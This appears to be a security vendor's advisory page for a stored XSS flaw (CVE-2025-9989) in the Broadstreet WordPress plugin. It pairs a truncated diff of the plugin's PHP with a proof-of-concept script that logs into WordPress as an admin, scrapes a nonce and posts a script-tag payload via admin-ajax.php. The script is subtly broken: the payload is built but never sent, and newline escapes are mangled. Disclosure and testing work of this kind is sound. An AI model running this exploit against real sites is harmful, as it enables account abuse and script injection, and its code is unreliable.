+        $in_content = property_exists($placement_settings, 'in_content') && $placement_settings->in_content;
+
+        $content = str_replace('%%timestamp%%', time(), $content);
+
+        if (is_single()) {
+
+            if ($in_content) {
+
+                $in_content_paragraph = property_exists($placement_settings, 'in_content_paragraph') ? $placement_settings->in_content_paragraph : '4';
+                if (!$in_content_paragraph) {
+                    $in_content_paragraph = '4';
+                }
+
+                try {
+                    $in_content_paragraph = array_map('intval', array_map('trim', explode(',', $in_content_paragraph)));
+                } catch (Exception $e) {
+                    // user error
+                    $in_content_paragraph = array(4);
+                }
+
+                /* Now handle in-content */
+                if (!stristr($content, '[broadstreet zone') && !stristr($content, '<broadstreet-zone') && !stristr($content, 'broadstreetads')) { # last one is for <amp-ad>
+                    /* Split the content into paragraphs, clear out anything that is only whitespace */
+                    /* The first lookbehind makes sure we don't match empty paragraphs,
+                        the last lookahead makes sure we don't match special blocks that wrap a paragraph */
+                    $pieces = preg_split('#(?<!<p>)</p>(?!s*</div>)#', $content);
+
+                    if (count($pieces) <= 1 && ($above_content || $below_content)) {
+                        # One paragraph
+                        #return "$contentnn" . $in_story_zone;
+                    }
+
+                    # each insertion increases the offset of the next paragraph
+                    $replacements = 0;
+                    for ($i = 0; $i < count($in_content_paragraph); $i++) {
+                        $in_story_zone = Broadstreet_Utility::getWrappedZoneCode($placement_settings, apply_filters('bs_ads_in_content_zone_id', $placement_settings->in_content), array('place' => $i));
+                        if ((count($pieces) - $replacements) > $in_content_paragraph[$i]) {
+                            array_splice($pieces, $in_content_paragraph[$i] + $replacements++, 0, "</p>" . $in_story_zone);
+                        }
+                    }
+                    /* It's magic, :snort: :snort:
+                    - Mr. Bean: https://www.youtube.com/watch?v=x0yQg8kHVcI */
+                    $content = implode("nn", $pieces);
+                }
+
+            }
+
+            if ($above_content) {
+                $content = Broadstreet_Utility::getWrappedZoneCode($placement_settings, $placement_settings->above_content) . $content;
+            }
+
+            if ($below_content) {
+                $content = $content . Broadstreet_Utility::getWrappedZoneCode($placement_settings, $placement_settings->below_content);
+            }
+        }
+
+        $content = $this->getTrackerContent($content);
+
+        return $content;
+    }
+
+    public function addAdsBeforeComments($template) {
+        $placement_settings = Broadstreet_Utility::getPlacementSettings();
+        if (is_single()) {
+            if (property_exists($placement_settings, 'before_comments') && $placement_settings->before_comments) {
+                echo Broadstreet_Utility::getMaxWidthWrap($placement_settings, Broadstreet_Utility::getWrappedZoneCode($placement_settings, $placement_settings->before_comments));
+            }
+        }
+
+        return $template;
+    }
+
+    public function addAdsLoopEnd() {
+        $placement_settings = Broadstreet_Utility::getPlacementSettings();
+        if (is_archive() && in_the_loop()) {
+            if (property_exists($placement_settings, 'inbetween_archive') && $placement_settings->inbetween_archive) {
+                echo Broadstreet_Utility::getMaxWidthWrap($placement_settings, Broadstreet_Utility::getWrappedZoneCode($placement_settings, $placement_settings->inbetween_archive));
+            }
+        }
+    }
+
+    /**
+     * Handler used for creating the business category taxonomy
+     */
+    public function addBusinessTaxonomy() {
+        # Add new "Locations" taxonomy to Posts
+        register_taxonomy(self::BIZ_TAXONOMY, self::BIZ_POST_TYPE, array(
+            # Hierarchical taxonomy (like categories)
+            'hierarchical' => true,
+            # This array of options controls the labels displayed in the WordPress Admin UI
+            'labels' => array(
+                'name' => _x( 'Business Categories', 'taxonomy general name' ),
+                'singular_name' => _x( 'Business Category', 'taxonomy singular name' ),
+                'search_items' =>  __( 'Search Businesses by Category' ),
+                'all_items' => __( 'All Business Categories' ),
+                'parent_item' => __( 'Parent Category' ),
+                'parent_item_colon' => __( 'Parent Category:' ),
+                'edit_item' => __( 'Edit Business Category' ),
+                'update_item' => __( 'Update Business Category' ),
+                'add_new_item' => __( 'Add New Business Category' ),
+                'new_item_name' => __( 'New Business Category Type' ),
+                'menu_name' => __( 'Categories' ),
+            ),
+            # Control the slugs used for this taxonomy
+            'rewrite' => array(
+                'slug' => 'business-categories', // This controls the base slug that will display before each term
+                'with_front' => false, // Don't display the category base before "/locations/"
+                'hierarchical' => true // This will allow URL's like "/locations/boston/cambridge/"
+            ),
+        ));
+    }
+
+    /**
+     * Callback for adding an extra broadstreet-friendly image size
+     * @param array $sizes
+     * @return array
+     */
+    public function addImageSizes($sizes)
+    {
+        $sizes['bs-biz-size'] = __('Broadstreet Business');
+        return $sizes;
+    }
+
+    /**
+     * Handler for adding the Broadstreet business meta data boxes on the post
+     * create/edit page
+     */
+    public function addMetaBoxes()
+    {
+        add_meta_box(
+            'broadstreet_sectionid',
+            __( 'Broadstreet Zone Info', 'broadstreet_textdomain' ),
+            array($this, 'broadstreetInfoBox'),
+            'post'
+        );
+
+        add_meta_box(
+            'broadstreet_sectionid',
+            __( 'Broadstreet Zone Info', 'broadstreet_textdomain'),
+            array($this, 'broadstreetInfoBox'),
+            'page'
+        );
+
+        /**
+         * Filter the post types on which Broadstreet meta boxes appear.
+         * Defaults to all registered post types.
+         *
+         * @param array $post_types Array of post type slugs.
+         */
+        $screens = apply_filters('broadstreet_meta_box_post_types', get_post_types());
+
+        if (Broadstreet_Utility::getOption(self::KEY_API_KEY)) {
+            foreach ( $screens as $screen ) {
+                add_meta_box(
+                    'broadstreet_sposnor_sectionid',
+                    __( '<span class="dashicons dashicons-performance"></span> Sponsored Content', 'broadstreet_textdomain'),
+                    array($this, 'broadstreetSponsoredBox'),
+                    $screen,
+                    apply_filters('broadstreet_sponsored_meta_box_context', 'side', $screen),
+                    apply_filters('broadstreet_sponsored_meta_box_priority', 'high', $screen)
+                );
+            }
+        }
+
+        foreach ( $screens as $screen ) {
+            add_meta_box(
+                'broadstreet_visibility_sectionid',
+                __( '<span class="dashicons dashicons-format-image"></span> Broadstreet Options', 'broadstreet_textdomain'),
+                array($this, 'broadstreetAdVisibilityBox'),
+                $screen,
+                apply_filters('broadstreet_options_meta_box_context', 'side', $screen),
+                apply_filters('broadstreet_options_meta_box_priority', 'default', $screen)
+            );
+        }
+
+        if(Broadstreet_Utility::isBusinessEnabled())
+        {
+            add_meta_box(
+                'broadstreet_sectionid',
+                __( 'Business Details', 'broadstreet_textdomain'),
+                array($this, 'broadstreetBusinessBox'),
+                self::BIZ_POST_TYPE,
+                apply_filters('broadstreet_business_meta_box_context', 'normal'),
+                apply_filters('broadstreet_business_meta_box_priority', 'default')
+            );
+        }
+    }
+
+    public function addPostStyles()
+    {
+        if(get_post_type() == self::BIZ_POST_TYPE && !is_admin())
+        {
+            wp_enqueue_style ('Broadstreet-styles-listings', Broadstreet_Utility::getCSSBaseURL() . 'listings.css?v=' . BROADSTREET_VERSION);
+        }
+    }
+
+    // Update CSS within in Admin
+    function adminStyles() {
+        wp_enqueue_style('broadstreet-admin-styles', Broadstreet_Utility::getCSSBaseURL() . 'admin.css');
+    }
+
+    /**
+     * Add powered-by notice
+     */
+    public function addPoweredBy()
+    {
+        if (self::$_disableAds || Broadstreet_Utility::isAMPEndpoint()) {
+            return;
+        }
+
+        $placement_settings = Broadstreet_Utility::getPlacementSettings();
+        if (!property_exists($placement_settings, 'load_in_head')
+            || !$placement_settings->load_in_head) {
+            $code = Broadstreet_Utility::getInitCode();
+            echo "<script data-cfasync='false'>$code</script>";
+        }
+    }
+
+    public function writeInitCode()
+    {
+        $code = '';
+
+        # while we're in the post, capture the disabled status of the ads
+        if (is_singular()) {
+            self::$_disableAds = Broadstreet_Utility::getPostMeta(get_queried_object_id(), 'bs_ads_disabled') == '1';
+        }
+
+        $placement_settings = Broadstreet_Utility::getPlacementSettings();
+        if (property_exists($placement_settings, 'use_old_tags') && $placement_settings->use_old_tags) {
+            if (property_exists($placement_settings, 'cdn_whitelabel') && strlen($placement_settings->adserver_whitelabel) > 0) {
+                $code .= "broadstreet.setWhitelabel('//{$placement_settings->adserver_whitelabel}/');";
+            }
+        }
+
+        if (self::$_disableAds) {
+            return;
+        }
+
+        if (property_exists($placement_settings, 'load_in_head')
+            && $placement_settings->load_in_head) {
+            $code .= Broadstreet_Utility::getInitCode();
+        }
+
+        wp_add_inline_script('broadstreet-init', "$code", 'after');
+    }
+
+    /**
+     * Manipulate our cdn tags to include anti-cloudflare stuff, because they think they own
+     * all of the internet's javascript
+     * @param $tag
+     * @param string $handle
+     * @param bool $src
+     * @return mixed
+     */
+    public function finalizeZoneTag($tag, $handle = '', $src = false)
+    {
+        if (is_admin()) {
+            return $tag;
+        }
+
+        // add cloudflare attrs. but seriously, f cloudflare
+        if (strstr($tag, 'broadstreet-init')) {
+            $tag = str_replace('<script', "<script async data-cfasync='false'", $tag);
+        }
+
+        return $tag;
+    }
+
+    public function addCDNScript()
+    {
+        $placement_settings = Broadstreet_Utility::getPlacementSettings();
+
+        $old = false;
+        if (property_exists($placement_settings, 'use_old_tags') && $placement_settings->use_old_tags) {
+            $old = true;
+        }
+
+        # Add Broadstreet ad zone CDN
+        if(!is_admin() && !Broadstreet_Utility::isAMPEndpoint())
+        {
+            $file = 'init-2.min.js?v=' . BROADSTREET_VERSION;
+            if ($old) {
+                $file = 'init.js';
+            }
+
+            $placement_settings = Broadstreet_Utility::getPlacementSettings();
+            $host = 'cdn.broadstreetads.com';
+            if (property_exists($placement_settings, 'cdn_whitelabel') && strlen($placement_settings->cdn_whitelabel) > 0) {
+                $host = $placement_settings->cdn_whitelabel;
+            }
+            # except for cdn whitelabels
+            # if (is_ssl() && property_exists($placement_settings, 'cdn_whitelabel') && $placement_settings->cdn_whitelabel) {
+            #     $host = 'street-production.s3.amazonaws.com';
+            # }
+
+	        # For site-wide analytics.
+	        $adserver_host = 'flux.broadstreet.ai';
+	        if (property_exists($placement_settings, 'adserver_whitelabel') && strlen($placement_settings->adserver_whitelabel) > 0) {
+		        $adserver_host = $placement_settings->adserver_whitelabel;
+	        }
+	        if (property_exists($placement_settings, 'enable_analytics') && strlen($placement_settings->enable_analytics)) {
+		        $network_id = Broadstreet_Utility::getOption(Broadstreet_Core::KEY_NETWORK_ID);
+		        wp_register_script('broadstreet-analytics', "//$adserver_host/emit/$network_id.js", array(), '1.0.0', array('strategy'  => 'async'));
+		        wp_enqueue_script('broadstreet-analytics');
+	        }
+
+            wp_register_script('broadstreet-init', "//$host/$file");
+            $this->writeInitCode();
+            wp_enqueue_script('broadstreet-init');
+        }
+    }
+
+    public function businessIndexSidebar()
+    {
+        if(Broadstreet_Utility::isBusinessEnabled())
+        {
+            register_sidebar(array(
+                'name' => __( 'Business Directory Listing Page' ),
+                'id' => 'businesses-right-sidebar',
+                'description' => __( 'The right rail displayed in the page when you use the [businesses] shortcode.' ),
+                'before_widget' => '<div style="padding-bottom: 10px;" id="%1$s" class="widget %2$s">',
+                'after_widget' => '</div>',
+                'before_title' => '<h3>',
+                'after_title' => '</h3>'
+              ));
+        }
+    }
+
+    /**
+     * A callback executed whenever the user tried to access the Broadstreet admin page
+     */
+    public function adminCallback()
+    {
+        $icon_url = 'none';
+
+        add_menu_page('Broadstreet', 'Broadstreet', 'edit_pages', 'Broadstreet', array($this, 'adminMenuCallback'), $icon_url);
+        add_submenu_page('Broadstreet', 'Settings', 'Account Setup', 'edit_pages', 'Broadstreet', array($this, 'adminMenuCallback'));
+        add_submenu_page('Broadstreet', 'Zone Options', 'Zone Options', 'edit_pages', 'Broadstreet-Zone-Options', array($this, 'adminZonesMenuCallback'));
+        if(Broadstreet_Utility::isBusinessEnabled())
+            add_submenu_page('Broadstreet', 'Business Settings', 'Business Settings', 'edit_pages', 'Broadstreet-Business', array($this, 'adminMenuBusinessCallback'));
+        #add_submenu_page('Broadstreet', 'Advanced', 'Advanced', 'edit_pages', 'Broadstreet-Layout', array($this, 'adminMenuLayoutCallback'));
+        if(Broadstreet_Utility::isBusinessEnabled())
+            add_submenu_page('Broadstreet', 'Help', 'Business Directory Help', 'edit_pages', 'Broadstreet-Help', array($this, 'adminMenuHelpCallback'));
+    }
+
+    /**
+     * Emit a warning that the search index hasn't been built (if it hasn't)
+     */
+    public function adminWarningCallback()
+    {
+        if(in_array($GLOBALS['pagenow'], array('edit.php', 'post.php', 'post-new.php')))
+        {
+            $info = Broadstreet_Utility::getNetwork();
+
+            //if(!$info || !$info->cc_on_file)
+            //    echo '<div class="updated"><p>You're <strong>almost ready</strong> to start using Broadstreet! Check the <a href="admin.php?page=Broadstreet">plugin page</a> to take care of the last steps. When that's done, this message will clear shortly after.</p></div>';
+
+            // Check for video security warning
+            $security_warning = get_transient('broadstreet_video_security_warning_' . get_current_user_id());
+            if ($security_warning) {
+	                echo '<div class="notice notice-error is-dismissible"><p><strong>Broadstreet Security Notice:</strong> Potentially malicious content was detected and removed from the video embed field. JavaScript protocols, event handlers, and script tags are not allowed for security reasons.</p></div>';
+                delete_transient('broadstreet_video_security_warning_' . get_current_user_id());
+            }
+        }
+    }
+
+    /**
+     * A callback executed when the admin page callback is a about to be called.
+     *  Use this for loading stylesheets/css.
+     */
+    public function adminInitCallback()
+    {
+        add_image_size('bs-biz-size', 600, 450, true);
+
+        # Only register javascript and css if the Broadstreet admin page is loading
+        if(isset($_SERVER['QUERY_STRING']) && strstr($_SERVER['QUERY_STRING'], 'Broadstreet'))
+        {
+            wp_enqueue_style ('Broadstreet-styles',  Broadstreet_Utility::getCSSBaseURL() . 'broadstreet.css?v='. BROADSTREET_VERSION);
+            wp_enqueue_script('Broadstreet-main'  ,  Broadstreet_Utility::getJSBaseURL().'broadstreet.js?v='. BROADSTREET_VERSION);
+            wp_enqueue_script('angular-js', Broadstreet_Utility::getJSBaseURL().'angular.min.js?v='. BROADSTREET_VERSION);
+            wp_enqueue_script('isteven-multi-js', Broadstreet_Utility::getJSBaseURL().'isteven-multi-select.js');
+            wp_enqueue_style ('isteven-multi-css',  Broadstreet_Utility::getCSSBaseURL() . 'isteven-multi-select.css');
+
+            // Pass nonce to JavaScript for AJAX security
+            wp_localize_script('Broadstreet-main', 'broadstreetAjax', [
+                'nonce' => wp_create_nonce('broadstreet_ajax_nonce')
+            ]);
+        }
+
+        # Only register on the post editing page
+        if($GLOBALS['pagenow'] == 'post.php' || $GLOBALS['pagenow'] == 'post-new.php')
+        {
+            if (Broadstreet_Utility::isBusinessEnabled()) {
+                wp_enqueue_style ('Broadstreet-vendorcss-time', Broadstreet_Utility::getVendorBaseURL() . 'timepicker/css/timePicker.css');
+                wp_enqueue_script('Broadstreet-main'  ,  Broadstreet_Utility::getJSBaseURL().'broadstreet.js?v='. BROADSTREET_VERSION);
+                wp_enqueue_script('Broadstreet-vendorjs-time'  ,  Broadstreet_Utility::getVendorBaseURL().'timepicker/js/jquery.timePicker.min.js');
+
+                // Pass nonce to JavaScript for AJAX security
+                wp_localize_script('Broadstreet-main', 'broadstreetAjax', [
+                    'nonce' => wp_create_nonce('broadstreet_ajax_nonce')
+                ]);
+            }
+        }
+
+        # Include thickbox on widgets page
+        if($GLOBALS['pagenow'] == 'widgets.php'
+                || (isset($_SERVER['QUERY_STRING']) && strstr($_SERVER['QUERY_STRING'], 'Broadstreet-Business')))
+        {
+            wp_enqueue_script('thickbox');
+            wp_enqueue_style( 'thickbox' );
+        }
+    }
+
+    /**
+     * The callback that is executed when the user is loading the admin page.
+     *  Basically, output the page content for the admin page. The function
+     *  acts just like a controller method for and MVC app. That is, it loads
+     *  a view.
+     */
+    public function adminMenuCallback()
+    {
+        Broadstreet_Log::add('debug', "Admin page callback executed");
+        Broadstreet_Utility::sendInstallReportIfNew();
+
+        $data = array();
+
+        $data['service_tag']        = Broadstreet_Utility::getServiceTag();
+        $data['api_key']            = Broadstreet_Utility::getOption(self::KEY_API_KEY);
+        $data['business_enabled']   = Broadstreet_Utility::getOption(self::KEY_BIZ_ENABLED);
+        $data['network_id']         = Broadstreet_Utility::getOption(self::KEY_NETWORK_ID);
+        $data['errors']             = array();
+        $data['networks']           = array();
+        $data['key_valid']          = false;
+        $data['has_cc']             = false;
+
+        if(get_page_by_path('businesses'))
+        {
+            $data['errors'][] = 'You have a page named "businesses", which will interfere with the business directory if you plan to use it. You must delete that page.';
+        }
+
+        if(get_category_by_slug('businesses'))
+        {
+            $data['errors'][] = 'You have a category named "businesses", which will interfere with the business directory if you plan to use it. You must delete that category.';
+        }
+
+        if(!$data['api_key'])
+        {
+            $data['errors'][] = '<strong>You dont have an API key set yet!</strong><ol><li>If you already have a Broadstreet account, <a href="http://my.broadstreetads.com/access-token">get your key here</a>.</li><li>If you don't have an account with us, <a target="blank" id="one-click-signup" href="#">then use our one-click signup</a>.</li></ol>';
+        }
+        else
+        {
+            $api = $this->getBroadstreetClient();
+
+            try
+            {
+                $data['networks']  = $api->getNetworks();
+                $data['key_valid'] = true;
+                $data['network']   = Broadstreet_Utility::getNetwork(true);
+            }
+            catch(Exception $ex)
+            {
+                $data['networks'] = array();
+                $data['key_valid'] = false;
+            }
+        }
+
+        Broadstreet_View::load('admin/admin', $data);
+    }
+
+    /**
+     * The callback that is executed when the user is loading the admin page.
+     *  Basically, output the page content for the admin page. The function
+     *  acts just like a controller method for and MVC app. That is, it loads
+     *  a view.
+     */
+    public function adminZonesMenuCallback()
+    {
+        Broadstreet_Log::add('debug', "Admin page callback executed");
+        $data = array();
+
+        $data['service_tag']        = Broadstreet_Utility::getServiceTag();
+        $data['api_key']            = Broadstreet_Utility::getOption(self::KEY_API_KEY);
+        $data['network_id']         = Broadstreet_Utility::getOption(self::KEY_NETWORK_ID);
+        $data['errors']             = array();
+        $data['networks']           = array();
+        $data['zones']              = array();
+        $data['placements']              = array();
+        $data['key_valid']          = false;
+        $data['categories']         = get_categories(array('hide_empty' => false));
+
+        if(!$data['api_key'])
+        {
+            $data['errors'][] = '<strong>You dont have an API key set yet!</strong><ol><li>If you already have a Broadstreet account, <a href="http://my.broadstreetads.com/access-token">get your key here</a>.</li><li>If you don't have an account with us, <a target="blank" id="one-click-signup" href="#">then use our one-click signup</a>.</li></ol>';
+        }
+        else
+        {
+            $api = $this->getBroadstreetClient();
+
+            try
+            {
+                Broadstreet_Utility::refreshZoneCache();
+                $data['key_valid'] = true;
+                $data['zones'] = Broadstreet_Utility::getZoneCache();
+                $data['placements'] = Broadstreet_Utility::getPlacementSettings();
+            }
+            catch(Exception $ex)
+            {
+                $data['networks'] = array();
+                $data['key_valid'] = false;
+            }
+        }
+
+        Broadstreet_View::load('admin/zones', $data);
+    }
+
+    public function adminMenuBusinessCallback() {
+        // Handle POSTed settings securely
+        if ($_SERVER['REQUEST_METHOD'] === 'POST') {
+            // Require capability
+            if (!current_user_can('manage_options')) {
+                wp_die('Permission denied');
+            }
+
+            // Verify nonce for the businesses settings form
+            check_admin_referer('broadstreet_business_nonce');
+
+            // Sanitize and persist the featured image setting
+            if (isset($_POST['featured_business_image'])) {
+                $featured_image_value = sanitize_text_field($_POST['featured_business_image']);
+                $featured_image = Broadstreet_Utility::featuredBusinessImage($featured_image_value);
+            } else {
+                $featured_image = Broadstreet_Utility::featuredBusinessImage();
+            }
+        } else {
+            if (isset($_POST['featured_business_image'])) {
+                $featured_image = Broadstreet_Utility::featuredBusinessImage($_POST['featured_business_image']);
+            } else {
+                $featured_image = Broadstreet_Utility::featuredBusinessImage();
+            }
+        }
+
+        Broadstreet_View::load('admin/businesses', array('featured_image' => $featured_image));
+    }
+
+    public function adminMenuHelpCallback()
+    {
+        Broadstreet_View::load('admin/help');
+    }
+
+    public function adminMenuLayoutCallback()
+    {
+        Broadstreet_View::load('admin/layout');
+    }
+
+    /**
+     * Handler for the broadstreet info box below a post or page
+     * @param type $post
+     */
+    public function broadstreetInfoBox($post)
+    {
+        // Use nonce for verification
+        wp_nonce_field(plugin_basename(__FILE__), 'broadstreetnoncename');
+
+        $zone_data = Broadstreet_Utility::getZoneCache();
+
+        Broadstreet_View::load('admin/infoBox', array('zones' => $zone_data));
+    }
+
+    /**
+     * Handler for the broadstreet info box below a post or page
+     * @param type $post
+     */
+    public function broadstreetBusinessBox($post)
+    {
+        // Use nonce for verification
+        wp_nonce_field(plugin_basename(__FILE__), 'broadstreetnoncename');
+
+        $meta = Broadstreet_Utility::getAllPostMeta($post->ID, self::$_businessDefaults);
+
+        $network_id       = Broadstreet_Utility::getOption(self::KEY_NETWORK_ID);
+        $advertiser_id    = Broadstreet_Utility::getPostMeta($post->ID, 'bs_advertiser_id');
+        $advertisement_id = Broadstreet_Utility::getPostMeta($post->ID, 'bs_advertisement_id');
+        $network_info     = Broadstreet_Utility::getNetwork();
+        $show_offers      = (Broadstreet_Utility::getOption(self::KEY_SHOW_OFFERS) == 'true');
+
+        $api = $this->getBroadstreetClient();
+
+        if($network_id && $advertiser_id && $advertisement_id)
+        {
+            $meta['preferred_hash_tag'] = $api->getAdvertisement($network_id, $advertiser_id, $advertisement_id)
+                                    ->preferred_hash_tag;
+        }
+
+        try
+        {
+            $advertisers = $api->getAdvertisers($network_id);
+        }
+        catch(Exception $ex)
+        {
+            $advertisers = array();
+        }
+
+        Broadstreet_View::load('admin/businessMetaBox', array(
+            'meta'        => $meta,
+            'advertisers' => $advertisers,
+            'network'     => $network_info,
+            'show_offers' => $show_offers
+        ));
+    }
+
+    /**
+     * Handler used for attaching post meta data to post query results
+     * @global object $wp_query
+     * @param array $posts
+     * @return array
+     */
+    public function businessQuery($posts)
+    {
+        global $wp_query;
+
+        if(@$wp_query->query_vars['post_type'] == self::BIZ_POST_TYPE
+            || @$wp_query->query_vars[

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-9989 - Broadstreet <= 1.53.1 - Authenticated (Admin+) Stored Cross-Site Scripting

// Configuration: Set the target WordPress URL and admin credentials
$target_url = 'http://example.com'; // Change to target WordPress site
$admin_username = 'admin'; // Change to admin username
$admin_password = 'password'; // Change to admin password

// Step 1: Authenticate as admin
$login_url = $target_url . '/wp-login.php';
$login_data = [
    'log' => $admin_username,
    'pwd' => $admin_password,
    'rememberme' => 'forever',
    'wp-submit' => 'Log In',
    'testcookie' => 1
];

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $login_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query($login_data),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_HEADER => true,
    CURLOPT_COOKIEJAR => 'cookies.txt',
    CURLOPT_COOKIEFILE => 'cookies.txt',
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_SSL_VERIFYPEER => false
]);
$login_response = curl_exec($ch);
curl_close($ch);

echo "[+] Step 1: Authenticated as adminn";

// Step 2: Obtain a valid nonce for the save_zone_settings AJAX action
// The nonce is normally embedded in the admin page, but we can fetch it from the Broadstreet settings page
$nonce_url = $target_url . '/wp-admin/admin.php?page=broadstreet';
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $nonce_url,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEFILE => 'cookies.txt',
    CURLOPT_SSL_VERIFYPEER => false
]);
$nonce_page = curl_exec($ch);
curl_close($ch);

// Extract the nonce from the page (look for broadstreet_ajax_nonce in script tag or hidden input)
preg_match('/broadstreet_ajax_nonce"[^>]+value="([^"]+)"/', $nonce_page, $matches);
if (empty($matches)) {
    // Fallback: try to find the nonce in a JavaScript variable
    preg_match('/var broadstreet_nonce = "([^"]+)";/', $nonce_page, $matches);
}
if (empty($matches)) {
    die("[-] Could not extract nonce. Check URL or credentials.n");
}
$nonce = $matches[1];
echo "[+] Step 2: Obtained nonce: $noncen";

// Step 3: Craft the XSS payload and send it via AJAX
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Payload: Inject JavaScript into a zone placement configuration
$payload = [
    'in_content' => [
        [
            'zone_id' => 1,
            'zone_name' => '<script>alert("XSS-CVE-2025-9989")</script>',
            'position' => 'top'
        ]
    ]
];

$post_data = [
    'action' => 'save_zone_settings',
    'nonce' => $nonce
];

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $ajax_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query($post_data),
    CURLOPT_CUSTOMREQUEST => 'POST',
    CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded; charset=UTF-8'],
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEFILE => 'cookies.txt',
    CURLOPT_SSL_VERIFYPEER => false
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[+] Step 3: Sent exploit request. HTTP code: $http_coden";
echo "[+] Response: " . substr($response, 0, 500) . "n";

// Step 4: Verify the payload was stored by viewing the Broadstreet settings page
$verify_url = $target_url . '/wp-admin/admin.php?page=broadstreet';
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $verify_url,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEFILE => 'cookies.txt',
    CURLOPT_SSL_VERIFYPEER => false
]);
$verify_page = curl_exec($ch);
curl_close($ch);

if (strpos($verify_page, 'alert("XSS-CVE-2025-9989")') !== false) {
    echo "[+] Step 4: Vulnerability confirmed! XSS payload found in admin page.n";
} else {
    echo "[-] Step 4: Could not verify payload. It might be sanitized or displayed elsewhere.n";
}

// Clean up cookies
unlink('cookies.txt');
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School